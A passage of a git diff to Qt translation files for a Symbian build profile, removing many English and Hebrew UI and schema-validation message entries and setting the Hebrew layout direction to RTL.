- <source>%1 attribute of %2 element must contain %3, %4 or a list of URIs.</source>
- <translation>%1 attribute of %2 element must contain %3, %4 or a list of URIs.</translation>
- </message>
- <message>
- <source>%1 element is not allowed in this context.</source>
- <translation>%1 element is not allowed in this context.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element has larger value than %3 attribute.</source>
- <translation>%1 attribute of %2 element has larger value than %3 attribute.</translation>
- </message>
- <message>
- <source>Prefix of qualified name %1 is not defined.</source>
- <translation>Prefix of qualified name %1 is not defined.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must either contain %3 or the other values.</source>
- <translation>%1 attribute of %2 element must either contain %3 or the other values.</translation>
- </message>
- <message>
- <source>Component with ID %1 has been defined previously.</source>
- <translation>Component with ID %1 has been defined previously.</translation>
- </message>
- <message>
- <source>Element %1 already defined.</source>
- <translation>Element %1 already defined.</translation>
- </message>
- <message>
- <source>Attribute %1 already defined.</source>
- <translation>Attribute %1 already defined.</translation>
- </message>
- <message>
- <source>Type %1 already defined.</source>
- <translation>Type %1 already defined.</translation>
- </message>
- <message>
- <source>Attribute group %1 already defined.</source>
- <translation>Attribute group %1 already defined.</translation>
- </message>
- <message>
- <source>Element group %1 already defined.</source>
- <translation>Element group %1 already defined.</translation>
- </message>
- <message>
- <source>Notation %1 already defined.</source>
- <translation>Notation %1 already defined.</translation>
- </message>
- <message>
- <source>Identity constraint %1 already defined.</source>
- <translation>Identity constraint %1 already defined.</translation>
- </message>
- <message>
- <source>Duplicated facets in simple type %1.</source>
- <translation>Duplicated facets in simple type %1.</translation>
- </message>
- <message>
- <source>%1 is not valid according to %2.</source>
- <translation>%1 is not valid according to %2.</translation>
- </message>
- <message>
- <source>String content does not match the length facet.</source>
- <translation>String content does not match the length facet.</translation>
- </message>
- <message>
- <source>String content does not match the minLength facet.</source>
- <translation>String content does not match the minLength facet.</translation>
- </message>
- <message>
- <source>String content does not match the maxLength facet.</source>
- <translation>String content does not match the maxLength facet.</translation>
- </message>
- <message>
- <source>String content does not match pattern facet.</source>
- <translation>String content does not match pattern facet.</translation>
- </message>
- <message>
- <source>String content is not listed in the enumeration facet.</source>
- <translation>String content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match the maxInclusive facet.</source>
- <translation>Signed integer content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match the maxExclusive facet.</source>
- <translation>Signed integer content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match the minInclusive facet.</source>
- <translation>Signed integer content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match the minExclusive facet.</source>
- <translation>Signed integer content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Signed integer content is not listed in the enumeration facet.</source>
- <translation>Signed integer content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match pattern facet.</source>
- <translation>Signed integer content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match in the totalDigits facet.</source>
- <translation>Signed integer content does not match in the totalDigits facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match the maxInclusive facet.</source>
- <translation>Unsigned integer content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match the maxExclusive facet.</source>
- <translation>Unsigned integer content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match the minInclusive facet.</source>
- <translation>Unsigned integer content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match the minExclusive facet.</source>
- <translation>Unsigned integer content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content is not listed in the enumeration facet.</source>
- <translation>Unsigned integer content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match pattern facet.</source>
- <translation>Unsigned integer content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match in the totalDigits facet.</source>
- <translation>Unsigned integer content does not match in the totalDigits facet.</translation>
- </message>
- <message>
- <source>Double content does not match the maxInclusive facet.</source>
- <translation>Double content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Double content does not match the maxExclusive facet.</source>
- <translation>Double content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Double content does not match the minInclusive facet.</source>
- <translation>Double content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Double content does not match the minExclusive facet.</source>
- <translation>Double content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Double content is not listed in the enumeration facet.</source>
- <translation>Double content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Double content does not match pattern facet.</source>
- <translation>Double content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Decimal content does not match in the fractionDigits facet.</source>
- <translation>Decimal content does not match in the fractionDigits facet.</translation>
- </message>
- <message>
- <source>Decimal content does not match in the totalDigits facet.</source>
- <translation>Decimal content does not match in the totalDigits facet.</translation>
- </message>
- <message>
- <source>Date time content does not match the maxInclusive facet.</source>
- <translation>Date time content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Date time content does not match the maxExclusive facet.</source>
- <translation>Date time content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Date time content does not match the minInclusive facet.</source>
- <translation>Date time content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Date time content does not match the minExclusive facet.</source>
- <translation>Date time content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Date time content is not listed in the enumeration facet.</source>
- <translation>Date time content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Date time content does not match pattern facet.</source>
- <translation>Date time content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Duration content does not match the maxInclusive facet.</source>
- <translation>Duration content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Duration content does not match the maxExclusive facet.</source>
- <translation>Duration content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Duration content does not match the minInclusive facet.</source>
- <translation>Duration content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Duration content does not match the minExclusive facet.</source>
- <translation>Duration content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Duration content is not listed in the enumeration facet.</source>
- <translation>Duration content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Duration content does not match pattern facet.</source>
- <translation>Duration content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Boolean content does not match pattern facet.</source>
- <translation>Boolean content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Binary content does not match the length facet.</source>
- <translation>Binary content does not match the length facet.</translation>
- </message>
- <message>
- <source>Binary content does not match the minLength facet.</source>
- <translation>Binary content does not match the minLength facet.</translation>
- </message>
- <message>
- <source>Binary content does not match the maxLength facet.</source>
- <translation>Binary content does not match the maxLength facet.</translation>
- </message>
- <message>
- <source>Binary content is not listed in the enumeration facet.</source>
- <translation>Binary content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Invalid QName content: %1.</source>
- <translation>Invalid QName content: %1.</translation>
- </message>
- <message>
- <source>QName content is not listed in the enumeration facet.</source>
- <translation>QName content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>QName content does not match pattern facet.</source>
- <translation>QName content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Notation content is not listed in the enumeration facet.</source>
- <translation>Notation content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>List content does not match length facet.</source>
- <translation>List content does not match length facet.</translation>
- </message>
- <message>
- <source>List content does not match minLength facet.</source>
- <translation>List content does not match minLength facet.</translation>
- </message>
- <message>
- <source>List content does not match maxLength facet.</source>
- <translation>List content does not match maxLength facet.</translation>
- </message>
- <message>
- <source>List content is not listed in the enumeration facet.</source>
- <translation>List content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>List content does not match pattern facet.</source>
- <translation>List content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Union content is not listed in the enumeration facet.</source>
- <translation>Union content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Union content does not match pattern facet.</source>
- <translation>Union content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Data of type %1 are not allowed to be empty.</source>
- <translation>Data of type %1 are not allowed to be empty.</translation>
- </message>
- <message>
- <source>Element %1 is missing child element.</source>
- <translation>Element %1 is missing child element.</translation>
- </message>
- <message>
- <source>There is one IDREF value with no corresponding ID: %1.</source>
- <translation>There is one IDREF value with no corresponding ID: %1.</translation>
- </message>
- <message>
- <source>Loaded schema file is invalid.</source>
- <translation>Loaded schema file is invalid.</translation>
- </message>
- <message>
- <source>%1 contains invalid data.</source>
- <translation>%1 contains invalid data.</translation>
- </message>
- <message>
- <source>xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.</source>
- <translation>xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.</translation>
- </message>
- <message>
- <source>xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.</source>
- <translation>xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.</translation>
- </message>
- <message>
- <source>No schema defined for validation.</source>
- <translation>No schema defined for validation.</translation>
- </message>
- <message>
- <source>No definition for element %1 available.</source>
- <translation>No definition for element %1 available.</translation>
- </message>
- <message>
- <source>Specified type %1 is not known to the schema.</source>
- <translation>Specified type %1 is not known to the schema.</translation>
- </message>
- <message>
- <source>Element %1 is not defined in this scope.</source>
- <translation>Element %1 is not defined in this scope.</translation>
- </message>
- <message>
- <source>Declaration for element %1 does not exist.</source>
- <translation>Declaration for element %1 does not exist.</translation>
- </message>
- <message>
- <source>Element %1 contains invalid content.</source>
- <translation>Element %1 contains invalid content.</translation>
- </message>
- <message>
- <source>Element %1 is declared as abstract.</source>
- <translation>Element %1 is declared as abstract.</translation>
- </message>
- <message>
- <source>Element %1 is not nillable.</source>
- <translation>Element %1 is not nillable.</translation>
- </message>
- <message>
- <source>Attribute %1 contains invalid data: %2</source>
- <translation>Attribute %1 contains invalid data: %2</translation>
- </message>
- <message>
- <source>Element contains content although it is nillable.</source>
- <translation>Element contains content although it is nillable.</translation>
- </message>
- <message>
- <source>Fixed value constraint not allowed if element is nillable.</source>
- <translation>Fixed value constraint not allowed if element is nillable.</translation>
- </message>
- <message>
- <source>Element %1 cannot contain other elements, as it has a fixed content.</source>
- <translation>Element %1 cannot contain other elements, as it has a fixed content.</translation>
- </message>
- <message>
- <source>Specified type %1 is not validly substitutable with element type %2.</source>
- <translation>Specified type %1 is not validly substitutable with element type %2.</translation>
- </message>
- <message>
- <source>Complex type %1 is not allowed to be abstract.</source>
- <translation>Complex type %1 is not allowed to be abstract.</translation>
- </message>
- <message>
- <source>Element %1 contains not allowed attributes.</source>
- <translation>Element %1 contains not allowed attributes.</translation>
- </message>
- <message>
- <source>Element %1 contains not allowed child element.</source>
- <translation>Element %1 contains not allowed child element.</translation>
- </message>
- <message>
- <source>Content of element %1 does not match its type definition: %2.</source>
- <translation>Content of element %1 does not match its type definition: %2.</translation>
- </message>
- <message>
- <source>Content of element %1 does not match defined value constraint.</source>
- <translation>Content of element %1 does not match defined value constraint.</translation>
- </message>
- <message>
- <source>Element %1 contains not allowed child content.</source>
- <translation>Element %1 contains not allowed child content.</translation>
- </message>
- <message>
- <source>Element %1 contains not allowed text content.</source>
- <translation>Element %1 contains not allowed text content.</translation>
- </message>
- <message>
- <source>Element %1 is missing required attribute %2.</source>
- <translation>Element %1 is missing required attribute %2.</translation>
- </message>
- <message>
- <source>Attribute %1 does not match the attribute wildcard.</source>
- <translation>Attribute %1 does not match the attribute wildcard.</translation>
- </message>
- <message>
- <source>Declaration for attribute %1 does not exist.</source>
- <translation>Declaration for attribute %1 does not exist.</translation>
- </message>
- <message>
- <source>Element %1 contains two attributes of type %2.</source>
- <translation>Element %1 contains two attributes of type %2.</translation>
- </message>
- <message>
- <source>Attribute %1 contains invalid content.</source>
- <translation>Attribute %1 contains invalid content.</translation>
- </message>
- <message>
- <source>Element %1 contains unknown attribute %2.</source>
- <translation>Element %1 contains unknown attribute %2.</translation>
- </message>
- <message>
- <source>Content of attribute %1 does not match its type definition: %2.</source>
- <translation>Content of attribute %1 does not match its type definition: %2.</translation>
- </message>
- <message>
- <source>Content of attribute %1 does not match defined value constraint.</source>
- <translation>Content of attribute %1 does not match defined value constraint.</translation>
- </message>
- <message>
- <source>Non-unique value found for constraint %1.</source>
- <translation>Non-unique value found for constraint %1.</translation>
- </message>
- <message>
- <source>Key constraint %1 contains absent fields.</source>
- <translation>Key constraint %1 contains absent fields.</translation>
- </message>
- <message>
- <source>Key constraint %1 contains references nillable element %2.</source>
- <translation>Key constraint %1 contains references nillable element %2.</translation>
- </message>
- <message>
- <source>No referenced value found for key reference %1.</source>
- <translation>No referenced value found for key reference %1.</translation>
- </message>
- <message>
- <source>More than one value found for field %1.</source>
- <translation>More than one value found for field %1.</translation>
- </message>
- <message>
- <source>Field %1 has no simple type.</source>
- <translation>Field %1 has no simple type.</translation>
- </message>
- <message>
- <source>ID value &apos;%1&apos; is not unique.</source>
- <translation>ID value &apos;%1&apos; is not unique.</translation>
- </message>
- <message>
- <source>&apos;%1&apos; attribute contains invalid QName content: %2.</source>
- <translation>&apos;%1&apos; attribute contains invalid QName content: %2.</translation>
- </message>
- </context>
+<context>
+ <name>QApplication</name>
+ <message>
+ <source>QT_LAYOUT_DIRECTION</source>
+ <comment>Translate this string to the string &apos;LTR&apos; in left-to-right languages or to &apos;RTL&apos; in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.</comment>
+ <translation>RTL</translation>
+ </message>
+</context>
</TS>
diff --git a/config.profiles/symbian/translations/qt_he.ts b/config.profiles/symbian/translations/qt_he.ts
index 72a6df9..aca2bd7 100644
--- a/config.profiles/symbian/translations/qt_he.ts
+++ b/config.profiles/symbian/translations/qt_he.ts
@@ -2,7780 +2,11 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>AudioOutput</name>
- <message>
- <location filename="../src/3rdparty/phonon/phonon/audiooutput.cpp" line="+375"/>
- <source>&lt;html&gt;The audio playback device &lt;b&gt;%1&lt;/b&gt; does not work.&lt;br/&gt;Falling back to &lt;b&gt;%2&lt;/b&gt;.&lt;/html&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>&lt;html&gt;Switching to the audio playback device &lt;b&gt;%1&lt;/b&gt;&lt;br/&gt;which just became available and has higher preference.&lt;/html&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Revert back to device &apos;%1&apos;</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>CloseButton</name>
- <message>
- <location filename="../src/gui/widgets/qtabbar.cpp" line="+2251"/>
- <source>Close Tab</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>PPDOptionsModel</name>
- <message>
- <source>Name</source>
- <translation type="obsolete">שם</translation>
- </message>
-</context>
-<context>
- <name>Phonon::</name>
- <message>
- <location filename="../src/3rdparty/phonon/phonon/phononnamespace.cpp" line="+55"/>
- <source>Notifications</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Music</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Video</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Communication</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Games</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Accessibility</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Phonon::Gstreamer::Backend</name>
- <message>
- <location filename="../src/3rdparty/phonon/gstreamer/backend.cpp" line="+171"/>
- <source>Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
- Some video features have been disabled.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Warning: You do not seem to have the base GStreamer plugins installed.
- All audio and video support has been disabled</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Phonon::Gstreamer::MediaObject</name>
- <message>
- <location filename="../src/3rdparty/phonon/gstreamer/mediaobject.cpp" line="+90"/>
- <source>Cannot start playback.
-
-Check your Gstreamer installation and make sure you
-have libgstreamer-plugins-base installed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+113"/>
- <source>A required codec is missing. You need to install the following codec(s) to play this content: %0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+676"/>
- <location line="+8"/>
- <location line="+15"/>
- <location line="+9"/>
- <location line="+6"/>
- <location line="+19"/>
- <location line="+335"/>
- <location line="+24"/>
- <source>Could not open media source.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-403"/>
- <source>Invalid source type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+377"/>
- <source>Could not locate media source.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Could not open audio device. The device is already in use.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Could not decode media source.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Phonon::VolumeSlider</name>
- <message>
- <location filename="../src/3rdparty/phonon/phonon/volumeslider.cpp" line="+42"/>
- <location line="+18"/>
- <source>Volume: %1%</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-15"/>
- <location line="+18"/>
- <location line="+54"/>
- <source>Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Q3Accel</name>
- <message>
- <location filename="../src/qt3support/other/q3accel.cpp" line="+481"/>
- <source>%1, %2 not defined</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+36"/>
- <source>Ambiguous %1 not handled</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Q3DataTable</name>
- <message>
- <location filename="../src/qt3support/sql/q3datatable.cpp" line="+285"/>
- <source>True</source>
- <translation type="unfinished">אמת</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>False</source>
- <translation type="unfinished">שקר</translation>
- </message>
- <message>
- <location line="+505"/>
- <source>Insert</source>
- <translation type="unfinished">הוסף</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Update</source>
- <translation type="unfinished">עדכן</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Delete</source>
- <translation type="unfinished">מחק</translation>
- </message>
-</context>
-<context>
- <name>Q3FileDialog</name>
- <message>
- <location filename="../src/qt3support/dialogs/q3filedialog.cpp" line="+864"/>
- <source>Copy or Move a File</source>
- <translation type="unfinished">העתק או העבר קובץ</translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Read: %1</source>
- <translation type="unfinished">קרא: %1</translation>
- </message>
- <message>
- <location line="+6"/>
- <location line="+30"/>
- <source>Write: %1</source>
- <translation type="unfinished">כתוב: %1</translation>
- </message>
- <message>
- <location line="-22"/>
- <location line="+1575"/>
- <source>Cancel</source>
- <translation type="unfinished">ביטול</translation>
- </message>
- <message>
- <location line="-157"/>
- <location line="+49"/>
- <location line="+2153"/>
- <location filename="../src/qt3support/dialogs/q3filedialog_mac.cpp" line="+110"/>
- <source>All Files (*)</source>
- <translation type="unfinished">כל הקבצים (*)</translation>
- </message>
- <message>
- <location line="-2089"/>
- <source>Name</source>
- <translation type="unfinished">שם</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Size</source>
- <translation type="unfinished">גודל</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Type</source>
- <translation type="unfinished">סוג</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Date</source>
- <translation type="unfinished">תאריך</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Attributes</source>
- <translation type="unfinished">מאפיינים</translation>
- </message>
- <message>
- <location line="+35"/>
- <location line="+2031"/>
- <source>&amp;OK</source>
- <translation type="unfinished">&amp;אישור</translation>
- </message>
- <message>
- <location line="-1991"/>
- <source>Look &amp;in:</source>
- <translation type="unfinished">&amp;חפש ב:</translation>
- </message>
- <message>
- <location line="+1"/>
- <location line="+1981"/>
- <location line="+16"/>
- <source>File &amp;name:</source>
- <translation type="unfinished">&amp;שם הקובץ:</translation>
- </message>
- <message>
- <location line="-1996"/>
- <source>File &amp;type:</source>
- <translation type="unfinished">&amp;סוג הקובץ:</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Back</source>
- <translation type="unfinished">אחורה</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>One directory up</source>
- <translation type="unfinished">ספריה אחת למעלה</translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Create New Folder</source>
- <translation type="unfinished">צור תיקיה חדשה</translation>
- </message>
- <message>
- <location line="+18"/>
- <source>List View</source>
- <translation type="unfinished">תצוגת רשימה</translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Detail View</source>
- <translation type="unfinished">תצוגת פרטים</translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Preview File Info</source>
- <translation type="unfinished">תצוגה מקדימה של פרטי הקובץ</translation>
- </message>
- <message>
- <location line="+23"/>
- <source>Preview File Contents</source>
- <translation type="unfinished">תצוגה מקדימה של תוכן הקובץ</translation>
- </message>
- <message>
- <location line="+88"/>
- <source>Read-write</source>
- <translation type="unfinished">קריאה-כתיבה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Read-only</source>
- <translation type="unfinished">קריאה-בלבד</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Write-only</source>
- <translation type="unfinished">כתיבה-בלבד</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Inaccessible</source>
- <translation type="unfinished">לא נגיש</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Symlink to File</source>
- <translation type="unfinished">קישור סמלי לקובץ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Symlink to Directory</source>
- <translation type="unfinished">קישור סמלי לספריה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Symlink to Special</source>
- <translation type="unfinished">קישור סמלי לפריט מיוחד</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>File</source>
- <translation type="unfinished">קובץ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Dir</source>
- <translation type="unfinished">ספריה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Special</source>
- <translation type="unfinished">מיוחד</translation>
- </message>
- <message>
- <location line="+704"/>
- <location line="+2100"/>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="+337"/>
- <source>Open</source>
- <translation type="unfinished">פתח</translation>
- </message>
- <message>
- <location line="-1990"/>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="+84"/>
- <source>Save As</source>
- <translation type="unfinished">שמירה בשם</translation>
- </message>
- <message>
- <location line="+642"/>
- <location line="+5"/>
- <location line="+355"/>
- <source>&amp;Open</source>
- <translation type="unfinished">&amp;פתח</translation>
- </message>
- <message>
- <location line="-357"/>
- <location line="+341"/>
- <source>&amp;Save</source>
- <translation type="unfinished">&amp;שמור</translation>
- </message>
- <message>
- <location line="-334"/>
- <source>&amp;Rename</source>
- <translation type="unfinished">ש&amp;נה שם</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Delete</source>
- <translation type="unfinished">&amp;מחק</translation>
- </message>
- <message>
- <location line="+20"/>
- <source>R&amp;eload</source>
- <translation type="unfinished">&amp;טען מחדש</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Sort by &amp;Name</source>
- <translation type="unfinished">סדר לפי ש&amp;ם</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Sort by &amp;Size</source>
- <translation type="unfinished">סדר לפי &amp;גודל</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Sort by &amp;Date</source>
- <translation type="unfinished">סדר לפי &amp;תאריך</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>&amp;Unsorted</source>
- <translation type="unfinished">&amp;ללא סדר</translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Sort</source>
- <translation type="unfinished">סדר</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Show &amp;hidden files</source>
- <translation type="unfinished">הצג קבצים &amp;מוסתרים</translation>
- </message>
- <message>
- <location line="+31"/>
- <source>the file</source>
- <translation type="unfinished">הקובץ</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>the directory</source>
- <translation type="unfinished">הספריה</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>the symlink</source>
- <translation type="unfinished">הקישור הסמלי</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Delete %1</source>
- <translation type="unfinished">מחק את %1</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&lt;qt&gt;Are you sure you wish to delete %1 &quot;%2&quot;?&lt;/qt&gt;</source>
- <translation type="unfinished">&lt;qt&gt;האם אתה בטוח שברצונך למחוק %1 &quot;%2&quot;?&lt;/qt&gt;</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>&amp;Yes</source>
- <translation type="unfinished">&amp;כן</translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;No</source>
- <translation type="unfinished">&amp;לא</translation>
- </message>
- <message>
- <location line="+36"/>
- <source>New Folder 1</source>
- <translation type="unfinished">תיקיה חדשה 1</translation>
- </message>
- <message>
- <location line="+5"/>
- <source>New Folder</source>
- <translation type="unfinished">תיקיה חדשה</translation>
- </message>
- <message>
- <location line="+5"/>
- <source>New Folder %1</source>
- <translation type="unfinished">תיקיה חדשה %1</translation>
- </message>
- <message>
- <location line="+98"/>
- <source>Find Directory</source>
- <translation type="unfinished">חפש ספריה</translation>
- </message>
- <message>
- <location line="+5"/>
- <location line="+108"/>
- <source>Directories</source>
- <translation type="unfinished">ספריות</translation>
- </message>
- <message>
- <location line="-2"/>
- <source>Directory:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+40"/>
- <location line="+1110"/>
- <source>Error</source>
- <translation type="unfinished">שגיאה</translation>
- </message>
- <message>
- <location line="-1109"/>
- <source>%1
-File not found.
-Check path and filename.</source>
- <translation type="unfinished">%1
-הקובץ לא נמצא.
-בדוק את הנתיב ואת שם הקובץ.</translation>
- </message>
- <message>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="-289"/>
- <source>All Files (*.*)</source>
- <translation type="unfinished">כל הקבצים (*.*)</translation>
- </message>
- <message>
- <location line="+375"/>
- <source>Open </source>
- <translation type="unfinished">פתח</translation>
- </message>
- <message>
- <location line="+155"/>
- <source>Select a Directory</source>
- <translation type="unfinished">בחר ספריה</translation>
- </message>
-</context>
-<context>
- <name>Q3LocalFs</name>
- <message>
- <location filename="../src/qt3support/network/q3localfs.cpp" line="+130"/>
- <location line="+10"/>
- <source>Could not read directory
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+45"/>
- <source>Could not create directory
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+34"/>
- <source>Could not remove file or directory
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+27"/>
- <source>Could not rename
-%1
-to
-%2</source>
- <translation type="unfinished">לא ניתן לשנות את השם של
-%1
-אל
-%2</translation>
- </message>
- <message>
- <location line="+25"/>
- <source>Could not open
-%1</source>
- <translation type="unfinished">לא ניתן לפתוח את
-%1</translation>
- </message>
- <message>
- <location line="+68"/>
- <source>Could not write
-%1</source>
- <translation type="unfinished">לא ניתן לכתוב את
-%1</translation>
- </message>
-</context>
-<context>
- <name>Q3MainWindow</name>
- <message>
- <location filename="../src/qt3support/widgets/q3mainwindow.cpp" line="+2051"/>
- <source>Line up</source>
- <translation type="unfinished">סדר בשורה</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Customize...</source>
- <translation type="unfinished">התאמה אישית...</translation>
- </message>
-</context>
-<context>
- <name>Q3NetworkProtocol</name>
- <message>
- <location filename="../src/qt3support/network/q3networkprotocol.cpp" line="+854"/>
- <source>Operation stopped by the user</source>
- <translation type="unfinished">הפעולה הופסקה על ידי המשתמש</translation>
- </message>
-</context>
-<context>
- <name>Q3ProgressDialog</name>
- <message>
- <location filename="../src/qt3support/dialogs/q3progressdialog.cpp" line="+224"/>
- <location line="+61"/>
- <source>Cancel</source>
- <translation type="unfinished">ביטול</translation>
- </message>
-</context>
-<context>
- <name>Q3TabDialog</name>
- <message>
- <location filename="../src/qt3support/dialogs/q3tabdialog.cpp" line="+189"/>
- <location line="+814"/>
- <source>OK</source>
- <translation type="unfinished">אישור</translation>
- </message>
- <message>
- <location line="-356"/>
- <source>Apply</source>
- <translation type="unfinished">החל</translation>
- </message>
- <message>
- <location line="+43"/>
- <source>Help</source>
- <translation type="unfinished">עזרה</translation>
- </message>
- <message>
- <location line="+45"/>
- <source>Defaults</source>
- <translation type="unfinished">ברירות מחדל</translation>
- </message>
- <message>
- <location line="+50"/>
- <source>Cancel</source>
- <translation type="unfinished">ביטול</translation>
- </message>
-</context>
-<context>
- <name>Q3TextEdit</name>
- <message>
- <location filename="../src/qt3support/text/q3textedit.cpp" line="+5429"/>
- <source>&amp;Undo</source>
- <translation type="unfinished">&amp;בטל</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Redo</source>
- <translation type="unfinished">בצע &amp;שוב</translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Cu&amp;t</source>
- <translation type="unfinished">&amp;גזור</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Copy</source>
- <translation type="unfinished">הע&amp;תק</translation>
- </message>
- <message>
- <location line="+2"/>
